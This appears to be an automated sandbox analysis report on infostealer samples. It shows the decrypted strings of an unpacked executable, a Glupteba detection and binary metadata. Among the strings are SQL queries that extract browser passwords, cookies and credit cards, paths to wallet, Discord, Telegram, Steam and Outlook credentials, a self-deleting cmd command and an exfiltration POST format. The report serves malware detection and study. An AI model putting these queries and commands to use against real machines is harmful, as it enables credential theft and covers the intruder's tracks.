Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: PATH
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: browser:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: profile:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: url:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: login:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: password:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Opera
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: OperaGX
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Network
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: cookies
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: .txt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: TRUE
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: FALSE
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: autofill
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: history
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: name:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: month:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: year:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: card:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Cookies
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Login Data
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Web Data
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: History
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: logins.json
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: usernameField
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: guid
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: plugins
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Local Extension Settings
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Sync Extension Settings
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: IndexedDB
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Opera Stable
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Opera GX Stable
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: CURRENT
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: chrome-extension_
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Local State
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: profiles.ini
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: chrome
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: opera
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: firefox
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: wallets
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ProductName
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ProcessorNameString
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DisplayName
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DisplayVersion
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Network Info:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - IP: IP?
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Country: ISO?
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: System Summary:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - HWID:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - OS:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Architecture:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - UserName:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Computer Name:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Local Time:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - UTC:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Language:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Keyboards:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Laptop:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Running Path:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - CPU:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Threads:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Cores:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - RAM:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - Display Resolution:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: - GPU:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: User Agents:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Installed Apps:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: All Users:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Current User:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Process List:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: system_info.txt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: freebl3.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: mozglue.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: msvcp140.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: nss3.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: softokn3.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: vcruntime140.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Temp\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: .exe
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: runas
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: open
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: /c start
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %DESKTOP%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %APPDATA%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %USERPROFILE%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %DOCUMENTS%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: %RECENT%
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: *.lnk
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: files
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \discord\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Telegram Desktop\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: key_datas
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: map*
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Telegram
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: *.tox
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: *.ini
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Password
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: 00000001
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: 00000002
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: 00000003
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: 00000004
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Pidgin
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \.purple\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: accounts.xml
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: token:
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Software\Valve\Steam
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: SteamPath
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \config\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ssfn*
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: config.vdf
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DialogConfig.vdf
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: libraryfolders.vdf
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: loginusers.vdf
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Steam\
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: sqlite3.dll
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: browsers
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: done
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: soft
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: https
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: POST
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: hwid
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: build
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: token
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: file_name
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: file
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: message
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0D9D0 CryptAcquireContextA,GetLastError,	10_2_69B0D9D0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0DBB0 CryptAcquireContextA,CryptAcquireContextA,GetLastError,CryptAcquireContextA,CryptAcquireContextA,SetLastError,__CxxThrowException@8,	10_2_69B0DBB0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0DD20 CryptReleaseContext,	10_2_69B0DD20
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0DEE0 CryptReleaseContext,	10_2_69B0DEE0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0DE00 CryptGenRandom,__CxxThrowException@8,	10_2_69B0DE00
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B335E0 CryptReleaseContext,	10_2_69B335E0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0D7F0 CryptReleaseContext,	10_2_69B0D7F0
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Code function: 10_2_69B0D7D4 CryptReleaseContext,	10_2_69B0D7D4

Bitcoin Miner

Yara detected Glupteba

Source: Yara match	File source: 17.1.tXlQ3NLbQqxBkFS_TfaDHWX4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000001.2435771287.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe

Unpacked PE file: 15.2.NyiVs23yIO_0wMOj5TwwBpJ5.exe.400000.0.unpack

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbW source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdbP@n@ `@_CorExeMainmscoree.dll source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DCD000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.000000000165A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2583454236.00000000015D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2718547054.0000000069B34000.00000002.00000001.01000000.00000021.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.000000000454D000.00000004.00000800.00020000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2693560746.0000000005EF0000.00000004.08000000.00040000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.0000000004AC8000.00000004.00000800.00020000.00000000.sdmp, nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2626409081.0000000004331000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\HD_Audio\VS2005\Resetup\SetupAfterRebootService\SetupAfterRebootService\obj\Release\SetupAfterRebootService.pdb source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2818869445.0000000000DCD000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\laracu valo35\tag\ped\kixe\vevuyohiyiva_yicofok.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D70232C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128070226.000001D702377000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127430688.000001D702356000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127511693.000001D702218000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126674447.000001D7021F6000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D702377000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdb source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000003.2613298063.000001DB77B90000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2622806676.000000C0000AC000.00000004.00001000.00020000.00000000.sdmp, EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2693327853.000000C000266000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D7023E9000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127725914.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127896153.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126643406.000001D70224D000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2128179905.000001D70245C000.00000004.00000020.00020000.00000000.sdmp, T9n2wvLQ1PO2GfTxLTyp21hE.exe, 0000000E.00000002.2520477544.00000000002F9000.00000002.00000001.01000000.0000000D.sdmp, T9n2wvLQ1PO2GfTxLTyp21hE.exe, 0000000E.00000000.2397254577.00000000002F9000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbEMP source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000002.2705372697.00000000064C0000.00000004.00000020.00020000.00000000.sdmp
